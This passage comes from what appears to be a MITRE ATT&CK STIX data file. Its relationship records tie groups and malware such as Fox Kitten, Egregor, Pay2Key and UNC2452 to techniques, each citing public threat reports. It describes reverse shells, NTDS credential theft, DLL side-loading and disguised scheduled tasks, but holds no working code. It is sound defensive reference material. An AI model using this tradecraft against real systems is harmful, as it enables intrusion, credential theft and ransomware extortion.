            "source_ref": "malware--03ea629c-517a-41e3-94f8-c7e5368cf8f4",
            "target_ref": "attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938",
            "external_references": [
                {
                    "source_name": "Unit42 Molerat Mar 2020",
                    "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/",
                    "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."
                }
            ],
            "description": "[Spark](https://attack.mitre.org/software/S0543) has used a splash screen to check whether an user actively clicks on the screen before running malicious code.(Citation: Unit42 Molerat Mar 2020) ",
            "relationship_type": "uses",
            "id": "relationship--883a60f7-0111-4542-b590-2f0140ba26bd",
            "type": "relationship",
            "modified": "2020-12-23T16:40:34.175Z",
            "created": "2020-12-23T16:40:34.175Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "source_name": "CISA AA20-259A Iran-Based Actor September 2020",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a",
                    "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."
                }
            ],
            "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used cmd.exe likely as a password changing mechanism.(Citation: CISA AA20-259A Iran-Based Actor September 2020)",
            "relationship_type": "uses",
            "id": "relationship--54b2d2db-b1d8-49aa-82f3-08d8a53a4899",
            "type": "relationship",
            "modified": "2020-12-23T18:56:54.608Z",
            "created": "2020-12-23T18:56:54.608Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "external_references": [
                {
                    "source_name": "CISA AA20-259A Iran-Based Actor September 2020",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a",
                    "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."
                },
                {
                    "source_name": "ClearSky Pay2Kitten December 2020",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf",
                    "description": "ClearSky. (2020, December 17). Pay2Key Ransomware \u2013 A New Campaign by Fox Kitten. Retrieved December 21, 2020."
                }
            ],
            "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used Scheduled Tasks for persistence and to load and execute a reverse proxy binary.(Citation: CISA AA20-259A Iran-Based Actor September 2020)(Citation: ClearSky Pay2Kitten December 2020)",
            "relationship_type": "uses",
            "id": "relationship--99c87be1-d8f1-4b41-836f-8811628c4b80",
            "type": "relationship",
            "modified": "2020-12-29T20:30:01.677Z",
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        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee",
            "target_ref": "attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5",
            "external_references": [
                {
                    "source_name": "CISA AA20-259A Iran-Based Actor September 2020",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a",
                    "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."
                }
            ],
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                    "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html",
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                    "description": "Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020."
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                    "description": "Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020."
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                    "url": "https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html",
                    "description": "Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020."
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                    "source_name": "DFIR Ryuk's Return October 2020",
                    "url": "https://thedfirreport.com/2020/10/08/ryuks-return/",
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                },
                {
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                    "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/",
                    "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020."
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                    "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020."
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                    "description": "Ilascu, I. (2020, December 14). Hacking group\u2019s new malware abuses Google and Facebook services. Retrieved December 28, 2020."
                }
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                }
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                    "url": "https://wald0.com/?p=179",
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                },
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                    "description": "Microsoft. (2008, September 11). Fun with WMI Filters in Group Policy. Retrieved March 13, 2019.",
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                    "source_name": "Microsoft WMI Filters"
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                {
                    "description": "Microsoft. (2018, May 30). Filtering the Scope of a GPO. Retrieved March 13, 2019.",
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                }
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            "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used Volume Shadow Copy to access credential information from NTDS.(Citation: CISA AA20-259A Iran-Based Actor September 2020)",
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                }
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            "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used WizTree to obtain network files and directory listings.(Citation: CISA AA20-259A Iran-Based Actor September 2020)",
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                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a",
                    "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."
                }
            ],
            "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used Angry IP Scanner to detect remote systems.(Citation: CISA AA20-259A Iran-Based Actor September 2020)",
            "relationship_type": "uses",
            "id": "relationship--1374e38c-db37-46f8-8560-63901a3e7e56",
            "type": "relationship",
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                }
            ],
            "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has accessed Registry hives ntuser.dat and UserClass.dat.(Citation: CISA AA20-259A Iran-Based Actor September 2020)",
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            "id": "relationship--b8b16140-82bc-42a0-82f7-bfc402f4b4a4",
            "type": "relationship",
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                }
            ],
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            "id": "relationship--8a4b2f39-183a-40e9-a8af-f3727061c17d",
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                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a",
                    "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."
                }
            ],
            "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used the Softerra LDAP browser to browse documentation on service accounts.(Citation: CISA AA20-259A Iran-Based Actor September 2020)",
            "relationship_type": "uses",
            "id": "relationship--8b425ec5-7be4-4225-a7c5-8f219fed7b6c",
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                {
                    "source_name": "CISA AA20-259A Iran-Based Actor September 2020",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a",
                    "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."
                },
                {
                    "source_name": "ClearSky Pay2Kitten December 2020",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf",
                    "description": "ClearSky. (2020, December 17). Pay2Key Ransomware \u2013 A New Campaign by Fox Kitten. Retrieved December 21, 2020."
                }
            ],
            "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used RDP to log in and move laterally in the target environment.(Citation: CISA AA20-259A Iran-Based Actor September 2020)(Citation: ClearSky Pay2Kitten December 2020)",
            "relationship_type": "uses",
            "id": "relationship--d32354c1-0668-4997-825e-7f5652826ab9",
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                    "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."
                }
            ],
            "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used Google Chrome bookmarks to identify internal resources and assets.(Citation: CISA AA20-259A Iran-Based Actor September 2020)",
            "relationship_type": "uses",
            "id": "relationship--52ecf0cd-4e5f-4331-b4d8-42618f155c5c",
            "type": "relationship",
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            "target_ref": "attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807",
            "external_references": [
                {
                    "source_name": "BleepingComputer Molerats Dec 2020",
                    "url": "https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/",
                    "description": "Ilascu, I. (2020, December 14). Hacking group\u2019s new malware abuses Google and Facebook services. Retrieved December 28, 2020."
                }
            ],
            "description": "[DropBook](https://attack.mitre.org/software/S0547) has used legitimate web services to exfiltrate data.(Citation: BleepingComputer Molerats Dec 2020)",
            "relationship_type": "uses",
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                    "source_name": "CISA AA20-259A Iran-Based Actor September 2020",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a",
                    "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."
                },
                {
                    "source_name": "Check Point Pay2Key November 2020",
                    "url": "https://research.checkpoint.com/2020/ransomware-alert-pay2key/",
                    "description": "Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021."
                }
            ],
            "description": "(Citation: CISA AA20-259A Iran-Based Actor September 2020)(Citation: Check Point Pay2Key November 2020)",
            "relationship_type": "uses",
            "id": "relationship--d9a97894-9a90-43cd-b9b9-9d13545aeb5a",
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                    "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."
                }
            ],
            "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used valid accounts to access SMB shares.(Citation: CISA AA20-259A Iran-Based Actor September 2020)",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
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                {
                    "source_name": "Unit42 Molerat Mar 2020",
                    "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/",
                    "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."
                }
            ],
            "description": "[Spark](https://attack.mitre.org/software/S0543) has exfiltrated data over the C2 channel.(Citation: Unit42 Molerat Mar 2020) ",
            "relationship_type": "uses",
            "id": "relationship--d7ce8b92-ada4-4e8f-b073-5a497de7156a",
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                    "source_name": "CISA AA20-259A Iran-Based Actor September 2020",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a",
                    "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."
                }
            ],
            "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used the PuTTY and Plink tools for lateral movement.(Citation: CISA AA20-259A Iran-Based Actor September 2020)",
            "relationship_type": "uses",
            "id": "relationship--91b41079-6c44-439e-a76c-2a128a792e17",
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        {
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                    "source_name": "CISA AA20-259A Iran-Based Actor September 2020",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a",
                    "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."
                }
            ],
            "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has installed TightVNC server and client on compromised servers and endpoints for lateral movement.(Citation: CISA AA20-259A Iran-Based Actor September 2020)",
            "relationship_type": "uses",
            "id": "relationship--3d3ea12b-fec0-4daa-bb51-190884d88ee0",
            "type": "relationship",
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        },
        {
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            "target_ref": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416",
            "external_references": [
                {
                    "source_name": "CISA AA20-259A Iran-Based Actor September 2020",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a",
                    "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."
                }
            ],
            "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has accessed victim security and IT environments and Microsoft Teams to mine valuable information.(Citation: CISA AA20-259A Iran-Based Actor September 2020)",
            "relationship_type": "uses",
            "id": "relationship--628054bd-e758-4528-a1fb-40983ecec149",
            "type": "relationship",
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        {
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            "target_ref": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c",
            "external_references": [
                {
                    "source_name": "CISA AA20-259A Iran-Based Actor September 2020",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a",
                    "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."
                }
            ],
            "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has searched network shares to access sensitive documents.(Citation: CISA AA20-259A Iran-Based Actor September 2020)",
            "relationship_type": "uses",
            "id": "relationship--d51c9d02-a701-4334-9dbc-bba6c128ba2b",
            "type": "relationship",
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        {
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            "external_references": [
                {
                    "source_name": "CISA AA20-259A Iran-Based Actor September 2020",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a",
                    "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."
                }
            ],
            "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has searched local system resources to access sensitive documents.(Citation: CISA AA20-259A Iran-Based Actor September 2020)",
            "relationship_type": "uses",
            "id": "relationship--32bc85f6-f022-4868-8934-bd00cc36f6d4",
            "type": "relationship",
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        {
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            "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee",
            "target_ref": "attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7",
            "external_references": [
                {
                    "source_name": "CISA AA20-259A Iran-Based Actor September 2020",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a",
                    "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."
                }
            ],
            "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has obtained files from the victim's cloud storage instances.(Citation: CISA AA20-259A Iran-Based Actor September 2020)",
            "relationship_type": "uses",
            "id": "relationship--118c566e-2042-4566-99c2-308351d50a40",
            "type": "relationship",
            "modified": "2020-12-29T19:07:21.930Z",
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        {
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            "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "source_name": "CISA AA20-259A Iran-Based Actor September 2020",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a",
                    "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."
                }
            ],
            "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has downloaded additional tools including [PsExec](https://attack.mitre.org/software/S0029) directly to endpoints.(Citation: CISA AA20-259A Iran-Based Actor September 2020)",
            "relationship_type": "uses",
            "id": "relationship--00de3cf9-73c4-4b04-a074-a5d73e9b61de",
            "type": "relationship",
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        {
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            "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662",
            "external_references": [
                {
                    "source_name": "CISA AA20-259A Iran-Based Actor September 2020",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a",
                    "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."
                }
            ],
            "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used 7-Zip to archive data.(Citation: CISA AA20-259A Iran-Based Actor September 2020)",
            "relationship_type": "uses",
            "id": "relationship--28d9ac63-ce5f-4d42-be72-6b4d99b6fda7",
            "type": "relationship",
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        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
            "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee",
            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
            "external_references": [
                {
                    "source_name": "ClearSky Pay2Kitten December 2020",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf",
                    "description": "ClearSky. (2020, December 17). Pay2Key Ransomware \u2013 A New Campaign by Fox Kitten. Retrieved December 21, 2020."
                }
            ],
            "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used a Perl reverse shell to communicate with C2.(Citation: ClearSky Pay2Kitten December 2020)",
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                },
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                    "url": "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf",
                    "description": "ClearSky. (2020, December 17). Pay2Key Ransomware \u2013 A New Campaign by Fox Kitten. Retrieved December 21, 2020."
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                {
                    "source_name": "Check Point Pay2Key November 2020",
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                }
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                    "description": "Rochberger, L. (2020, November 26). Cybereason vs. Egregor Ransomware. Retrieved December 30, 2020."
                }
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                }
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                },
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                    "description": "NHS Digital. (2020, November 26). Egregor Ransomware The RaaS successor to Maze. Retrieved December 29, 2020."
                }
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                    "description": "NHS Digital. (2020, November 26). Egregor Ransomware The RaaS successor to Maze. Retrieved December 29, 2020."
                },
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                    "url": "https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware",
                    "description": "Rochberger, L. (2020, November 26). Cybereason vs. Egregor Ransomware. Retrieved December 30, 2020."
                }
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            "description": "[Egregor](https://attack.mitre.org/software/S0554) can enumerate all connected drives.(Citation: NHS Digital Egregor Nov 2020)",
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                    "description": "Cybleinc. (2020, October 31). Egregor Ransomware \u2013 A Deep Dive Into Its Activities and Techniques. Retrieved December 29, 2020."
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            "description": "[Egregor](https://attack.mitre.org/software/S0554) has used the Windows API to make detection more difficult.(Citation: Cyble Egregor Oct 2020) ",
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                    "url": "https://cybleinc.com/2020/10/31/egregor-ransomware-a-deep-dive-into-its-activities-and-techniques/",
                    "description": "Cybleinc. (2020, October 31). Egregor Ransomware \u2013 A Deep Dive Into Its Activities and Techniques. Retrieved December 29, 2020."
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                {
                    "source_name": "NHS Digital Egregor Nov 2020",
                    "url": "https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary",
                    "description": "NHS Digital. (2020, November 26). Egregor Ransomware The RaaS successor to Maze. Retrieved December 29, 2020."
                }
            ],
            "description": "[Egregor](https://attack.mitre.org/software/S0554) has used multiple anti-analysis and anti-sandbox techniques to prevent automated analysis by sandboxes.(Citation: Cyble Egregor Oct 2020)(Citation: NHS Digital Egregor Nov 2020) ",
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                    "description": "Cybleinc. (2020, October 31). Egregor Ransomware \u2013 A Deep Dive Into Its Activities and Techniques. Retrieved December 29, 2020."
                }
            ],
            "description": "[Egregor](https://attack.mitre.org/software/S0554) has used DLL side-loading to execute its payload.(Citation: Cyble Egregor Oct 2020) ",
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            "description": "[Egregor](https://attack.mitre.org/software/S0554) can inject its payload into iexplore.exe process.(Citation: Cyble Egregor Oct 2020)",
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                }
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                {
                    "source_name": "JoeSecurity Egregor 2020",
                    "url": "https://www.joesandbox.com/analysis/318027/0/html",
                    "description": "Joe Security. (n.d.). Analysis Report fasm.dll. Retrieved January 6, 2021."
                },
                {
                    "source_name": "Cybereason Egregor Nov 2020",
                    "url": "https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware",
                    "description": "Rochberger, L. (2020, November 26). Cybereason vs. Egregor Ransomware. Retrieved December 30, 2020."
                }
            ],
            "description": "[Egregor](https://attack.mitre.org/software/S0554) has used batch files for execution and can launch Internet Explorer from cmd.exe.(Citation: JoeSecurity Egregor 2020)(Citation: Cybereason Egregor Nov 2020) ",
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                    "source_name": "Cybereason Egregor Nov 2020",
                    "url": "https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware",
                    "description": "Rochberger, L. (2020, November 26). Cybereason vs. Egregor Ransomware. Retrieved December 30, 2020."
                },
                {
                    "source_name": "Intrinsec Egregor Nov 2020",
                    "url": "https://www.intrinsec.com/egregor-prolock/?cn-reloaded=1",
                    "description": "Bichet, J. (2020, November 12). Egregor \u2013 Prolock: Fraternal Twins ?. Retrieved January 6, 2021."
                }
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            "description": "[Egregor](https://attack.mitre.org/software/S0554) has the ability to download files from its C2 server.(Citation: Cybereason Egregor Nov 2020)(Citation: Intrinsec Egregor Nov 2020)",
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                    "description": "Rochberger, L. (2020, November 26). Cybereason vs. Egregor Ransomware. Retrieved December 30, 2020."
                }
            ],
            "description": "[Egregor](https://attack.mitre.org/software/S0554) has used rundll32 during execution.(Citation: Cybereason Egregor Nov 2020)",
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                    "url": "https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware",
                    "description": "Rochberger, L. (2020, November 26). Cybereason vs. Egregor Ransomware. Retrieved December 30, 2020."
                },
                {
                    "source_name": "Intrinsec Egregor Nov 2020",
                    "url": "https://www.intrinsec.com/egregor-prolock/?cn-reloaded=1",
                    "description": "Bichet, J. (2020, November 12). Egregor \u2013 Prolock: Fraternal Twins ?. Retrieved January 6, 2021."
                }
            ],
            "description": "[Egregor](https://attack.mitre.org/software/S0554) can modify the GPO to evade detection.(Citation: Cybereason Egregor Nov 2020) (Citation: Intrinsec Egregor Nov 2020)",
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                    "url": "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf",
                    "description": "ClearSky. (2020, December 17). Pay2Key Ransomware \u2013 A New Campaign by Fox Kitten. Retrieved December 21, 2020."
                },
                {
                    "source_name": "Check Point Pay2Key November 2020",
                    "url": "https://research.checkpoint.com/2020/ransomware-alert-pay2key/",
                    "description": "Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021."
                }
            ],
            "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has created KeyBase accounts to communicate with ransomware victims.(Citation: ClearSky Pay2Kitten December 2020)(Citation: Check Point Pay2Key November 2020)",
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                    "source_name": "ClearkSky Fox Kitten February 2020",
                    "url": "https://www.clearskysec.com/fox-kitten/",
                    "description": "ClearSky. (2020, February 16). Fox Kitten \u2013 Widespread Iranian Espionage-Offensive Campaign. Retrieved December 21, 2020."
                },
                {
                    "source_name": "Check Point Pay2Key November 2020",
                    "url": "https://research.checkpoint.com/2020/ransomware-alert-pay2key/",
                    "description": "Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021."
                }
            ],
            "description": "[Pay2Key](https://attack.mitre.org/software/S0556) can encrypt data on victim's machines using RSA and AES algorithms in order to extort a ransom payment for decryption.(Citation: ClearkSky Fox Kitten February 2020)(Citation: Check Point Pay2Key November 2020)",
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                {
                    "source_name": "Check Point Pay2Key November 2020",
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                    "description": "Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021."
                }
            ],
            "description": "[Pay2Key](https://attack.mitre.org/software/S0556) has designated machines in the compromised network to serve as reverse proxy pivot points to channel communications with C2.(Citation: ClearkSky Fox Kitten February 2020)(Citation: Check Point Pay2Key November 2020)",
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                    "description": "ClearSky. (2020, December 17). Pay2Key Ransomware \u2013 A New Campaign by Fox Kitten. Retrieved December 21, 2020."
                }
            ],
            "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used a Twitter account to communicate with ransomware victims.(Citation: ClearSky Pay2Kitten December 2020)",
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                    "url": "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf",
                    "description": "ClearSky. (2020, December 17). Pay2Key Ransomware \u2013 A New Campaign by Fox Kitten. Retrieved December 21, 2020."
                }
            ],
            "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used Amazon Web Services to host C2.(Citation: ClearSky Pay2Kitten December 2020)",
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                {
                    "source_name": "Check Point Pay2Key November 2020",
                    "url": "https://research.checkpoint.com/2020/ransomware-alert-pay2key/",
                    "description": "Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021."
                }
            ],
            "description": "[Pay2Key](https://attack.mitre.org/software/S0556) can remove its log file from disk.(Citation: Check Point Pay2Key November 2020)",
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                    "description": "Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021."
                }
            ],
            "description": "[Pay2Key](https://attack.mitre.org/software/S0556) has used RSA encrypted communications with C2.(Citation: Check Point Pay2Key November 2020)",
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                    "description": "Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021."
                }
            ],
            "description": "[Pay2Key](https://attack.mitre.org/software/S0556) has sent its public key to the C2 server over TCP.(Citation: Check Point Pay2Key November 2020)",
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                    "description": "Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021."
                }
            ],
            "description": "[Pay2Key](https://attack.mitre.org/software/S0556) can identify the IP and MAC addresses of the compromised host.(Citation: Check Point Pay2Key November 2020)",
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                    "url": "https://research.checkpoint.com/2020/ransomware-alert-pay2key/",
                    "description": "Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021."
                }
            ],
            "description": "[Pay2Key](https://attack.mitre.org/software/S0556) has the ability to gather the hostname of the victim machine.(Citation: Check Point Pay2Key November 2020)",
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                    "source_name": "Check Point Pay2Key November 2020",
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                }
            ],
            "description": "[Pay2Key](https://attack.mitre.org/software/S0556) can stop the MS SQL service at the end of the encryption process to release files locked by the service.(Citation: Check Point Pay2Key November 2020)",
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                    "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) gained initial network access via a trojanized update of SolarWinds Orion software.(Citation: FireEye SUNBURST Backdoor December 2020)",
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                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) obtained a list of users and their roles from an Exchange server using <code>Get-ManagementRoleAssignment</code>.(Citation: Volexity SolarWinds)",
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            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
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                    "source_name": "Volexity SolarWinds",
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                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                },
                {
                    "source_name": "Microsoft Analyzing Solorigate Dec 2020",
                    "url": "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/",
                    "description": "MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used PowerShell to create new tasks on remote machines, identify configuration settings, exfiltrate data, and to execute other commands.(Citation: Volexity SolarWinds)(Citation: Microsoft Analyzing Solorigate Dec 2020)",
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            "external_references": [
                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) exploited CVE-2020-0688 against the Microsoft Exchange Control Panel to regain access to a network.(Citation: Volexity SolarWinds)",
            "relationship_type": "uses",
            "id": "relationship--dc25eff7-fbfe-48a0-aeb7-ae8d92e75978",
            "type": "relationship",
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        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b",
            "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662",
            "external_references": [
                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                },
                {
                    "source_name": "Microsoft Deep Dive Solorigate January 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/",
                    "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used 7-Zip to compress stolen emails into password-protected archives prior to exfiltration.(Citation: Volexity SolarWinds)(Citation: Microsoft Deep Dive Solorigate January 2021)",
            "relationship_type": "uses",
            "id": "relationship--1e666d32-f7c8-452c-92d0-f8a9113dba07",
            "type": "relationship",
            "modified": "2021-01-25T14:25:12.792Z",
            "created": "2021-01-05T17:45:48.827Z"
        },
        {
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            ],
            "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b",
            "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
            "external_references": [
                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) named tasks <code>\\Microsoft\\Windows\\SoftwareProtectionPlatform\\EventCacheManager</code> in order to appear legitimate.(Citation: Volexity SolarWinds)",
            "relationship_type": "uses",
            "id": "relationship--e12a487a-6084-4078-8b30-b3a5fca8ce2e",
            "type": "relationship",
            "modified": "2021-01-05T17:45:48.860Z",
